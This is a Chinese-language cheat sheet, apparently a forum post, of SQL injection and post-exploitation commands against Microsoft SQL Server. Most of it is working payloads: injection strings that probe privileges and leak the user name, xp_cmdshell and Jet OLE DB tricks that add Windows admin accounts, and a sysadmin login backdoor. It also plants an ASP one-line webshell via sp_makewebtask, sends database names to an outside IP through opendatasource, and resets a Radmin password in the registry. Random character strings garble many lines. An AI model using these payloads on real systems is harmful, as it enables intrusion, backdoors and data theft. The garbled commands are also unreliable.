阿D常用的一些注入命令" S* y$ Y+ L1 i
//看看是什么权限的5 ?6 O1 [1 E9 |. S, D% k
and 1=(Select IS_MEMBER('db_owner'))* V8 T* O1 V7 n6 ?+ t# j
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
/ I4 ?; m5 U( w4 M; D6 ~0 o8 J' B* v0 }6 I& J8 V- Y! s' N ]0 B
//检测是否有读取某数据库的权限
9 \8 K" q5 d0 I0 xand 1= (Select HAS_DBACCESS('master'))
) @( x8 \- |4 j" i n/ E/ g) qAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
+ x5 y3 I/ O1 {
# f% K3 I D) I1 x4 P) ?8 X4 j3 n+ ~
1 Q" q4 N; H0 ~3 ]' @. v数字类型/ K+ _9 ~5 s2 g3 u) f8 L. V) } Y
and char(124)%2Buser%2Bchar(124)=0
3 I- L. Y& m7 e# v% B# e4 s0 C) @9 E
字符类型" q6 t5 Z* Y& v4 D4 Y1 b1 z
' and char(124)%2Buser%2Bchar(124)=0 and ''='5 H' i5 F" f3 _9 P7 F( W
: w. w( S( n1 J% m
搜索类型
8 @/ C9 I9 T& E6 |$ F' T3 k' and char(124)%2Buser%2Bchar(124)=0 and '%'='
! l% p% G8 D7 Y" B# k u g7 R& r$ B% }1 W) c: R. j
爆用户名
, i! H/ J, z( Q8 e: p9 `and user>0
6 c: E- c) h% t* e( s' and user>0 and ''='
6 b! z5 f" B4 I
- Q/ k* B2 w0 |9 C检测是否为SA权限
/ E3 l n; J0 X7 {and 1=(select IS_SRVROLEMEMBER('sysadmin'));--, I7 T' K9 t. g+ H7 X/ K
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
1 |- }+ o# i% a6 S2 v% f" m D+ Z3 Q* i4 ~+ o# T. F7 j9 r
检测是不是MSSQL数据库4 [4 H7 l3 m3 ~% z- ^
and exists (select * from sysobjects);-- 8 Q5 f6 t: n' M3 g3 C; R$ l
8 a: Y" [! W7 N h2 o检测是否支持多行
- s1 D/ x2 J* u1 s;declare @d int;--
8 J/ I" S5 o9 y5 M
" i" p6 \6 d% t$ l恢复 xp_cmdshell3 w6 s+ ?- `0 I
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--6 _& P6 X* Y/ u8 ^( g- C7 m
3 H; F; d2 S! A0 r9 @% w7 z: w5 U. ~1 g8 ?4 q" |3 X* q
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
, [* [9 Y l- t ^+ O
; D/ a" Y9 y, V5 {( N" h6 C9 j8 ^//-----------------------) Y* T- p3 k3 J2 S
// 执行命令
; ]1 v0 a2 D7 h8 {; k0 u3 c! P/ w//-----------------------' J- p8 ^2 Y4 |7 {+ T2 X
首先开启沙盘模式:
2 u) {: A2 G1 m& z4 uexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',19 c( ], l% _. j% l
9 m8 J# G, [9 @! x; ?
然后利用jet.oledb执行系统命令
; h6 p. ~4 D, C" p/ ~select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
. R. q, o/ y4 u3 ~- }8 O u8 C! n8 ]5 g. \* k: w
执行命令
' m0 X4 O$ m& F) R: E8 f3 k;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
, P0 K+ u. ~3 U6 I8 z1 h+ W4 ~# h; N/ }
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
4 x8 M0 d( L, e, u9 ^
* W# k9 A5 W. |+ Y: N- n判断xp_cmdshell扩展存储过程是否存在: u9 }$ t" ^ S5 C/ g
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')8 s2 N" X% G& U. K' m8 m2 t
) Z" H/ H. a' o/ {
写注册表
7 K6 R; _ B- `exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',12 D! v; p8 n5 q3 l0 M( j
! v9 F4 M+ J$ t& rREG_SZ1 L# f/ @6 k6 ~8 D1 l6 c& |, i1 i
6 G8 g, `) l3 h读注册表
4 W6 |. l, f) [8 E$ i" \& fexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'5 r7 n: `' r7 o7 V$ `$ Y3 L7 W
2 v) k; q: d$ s. w读取目录内容 `; z2 t* l2 [3 @* K
exec master..xp_dirtree 'c:\winnt\system32\',1,1- d4 X% k r: \) s7 _8 j
- N4 c, z: T+ x; s
4 e, f3 z+ Z- l/ b8 }数据库备份
: {3 F7 m7 L' |backup database pubs to disk = 'c:\123.bak'# v, }* V$ y# O% D" d
: z9 W* d+ b0 Y5 ]& R6 e//爆出长度3 y) ` P1 ` @
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--2 z4 {: |0 e4 p/ ]1 L- D& J
0 z: O" ^; z) ?8 V
1 F7 h3 {: G! v! c9 z' V
+ d9 \7 F1 ]) K* n( H* |& _! d2 s更改sa口令方法:用sql综合利用工具连接后,执行命令:, z2 s1 S: l* s3 s
exec sp_password NULL,'新密码','sa'2 w% W. O) p% D, _9 h
0 O7 l5 G9 _4 e, P添加和删除一个SA权限的用户test:
1 f6 H& X+ w& q! a6 B* O+ pexec master.dbo.sp_addlogin test,ptlove
0 S. O. Y% r ]4 oexec master.dbo.sp_addsrvrolemember test,sysadmin
/ X0 m( _; q3 J. V" t- H
( s0 ?- H2 B) u2 O删除扩展存储过过程xp_cmdshell的语句: 1 N7 {7 y3 o# w/ J; q5 ~
exec sp_dropextendedproc 'xp_cmdshell'
p! J' `' S( {, P7 l
6 I) x+ Y7 L& s" E; v添加扩展存储过过程
8 F; s) O, K' _$ b, CEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
1 i Z Q+ O2 P v' MGRANT exec On xp_proxiedadata TO public
2 `" l' P# N' e0 r+ h4 G8 a6 Y' _+ M$ a6 T4 y; F
7 K; v( i. y5 q5 C停掉或激活某个服务。 - F$ g0 q9 c5 x
/ p8 ~) s, m0 p0 hexec master..xp_servicecontrol 'stop','schedule'
1 @9 Y& K9 K" |' r; O1 D8 k( e: fexec master..xp_servicecontrol 'start','schedule'5 r5 h! R1 z, g8 f. W$ q' n+ E
) W: k( _( N3 v$ L6 \dbo.xp_subdirs
# y7 Z: w3 j. E) z8 n
0 C' y0 [3 ]; ?6 w& V1 I只列某个目录下的子目录。
. X9 X; @3 o: L) Fxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'8 q2 I! s2 L% J9 t/ d; H
( D9 ~9 ], b* g3 _dbo.xp_makecab
* `# s& i. i. e& L6 `; b- V; b) Y+ h
将目标多个档案压缩到某个目标档案之内。9 O) n5 a- v' G, ~$ z7 V* }' ~
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。4 x. F+ h |# D
5 M. j+ Y/ i6 t2 c7 a# H
dbo.xp_makecab( I9 h3 u9 q& E( t
'c:\test.cab','mszip',1,$ r5 Q8 `- |! A3 m0 A
'C:\Inetpub\wwwroot\SQLInject\login.asp',; \ j$ I" s) N) }
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp') ?; N6 q9 ~* r% Q$ O
6 [7 w, S$ Y" D4 D, R, T
xp_terminate_process' ^$ \) ^! ?7 Y5 g
$ _7 [5 |: B' H/ A停掉某个执行中的程序,但赋予的参数是 Process ID。
; U+ I$ Z5 m( Z3 K1 L1 X利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID/ k( ?* H5 N6 q7 a% r% O
% V4 ^) x# O! `* ^
xp_terminate_process 2484" A3 ]; |0 z3 V( E! l9 D4 J7 k
: \5 n; E. T# k$ }3 I- Q
xp_unpackcab/ Q; I2 Z ~5 e% x' z
. q* i; e# }* x
解开压缩档。
* b! H8 \' Z1 Z( W) d m" R
7 L, m- p# n/ p$ X9 Hxp_unpackcab 'c:\test.cab','c:\temp',15 w" h! X8 Z- K1 c# u
2 \4 ?/ ?0 y; m7 ?
0 ^8 h$ u- A* e/ l4 {. M8 W
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12348 C! @4 Y6 ]) v* Z3 z7 F
( b& Z: ]- e2 M) S. |2 R# g: J
create database lcx;
* U; @1 K' P1 f. y8 ]# ]) V; ^Create TABLE ku(name nvarchar(256) null);9 P4 W/ I$ x e9 e( v" G
Create TABLE biao(id int NULL,name nvarchar(256) null);! f6 ]) U) h6 i* x4 S
5 x' m7 W) L7 {+ P( _% x9 p0 G, e//得到数据库名/ O( ^# I. R7 c
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
+ e$ K$ @( r3 [' F _; n6 y+ `9 F7 V- ]) m1 q2 s9 {1 x, q
5 @6 o* v f" O( v/ o
//在Master中创建表,看看权限怎样* I' @5 F0 F Y+ e- A/ G9 s
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
* {3 _/ Q8 ~+ b5 H0 x" y, J- H% p. h/ W6 S' ^; H9 X; Z: F
用 sp_makewebtask直接在web目录里写入一句话马:" A+ L- _5 a9 g% r3 C0 N% \
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
/ S3 \1 J: R8 [, r% J" m4 M' E; o9 F
//更新表内容/ B( f c' w I. u y- s7 t
Update films SET kind = 'Dramatic' Where id = 1238 w2 K) W# u8 \ C# Q3 d5 @
: A$ X3 _, ~0 g//删除内容/ b, ?. G3 C9 Z, {0 h, A
delete from table_name where Stockid = 3 |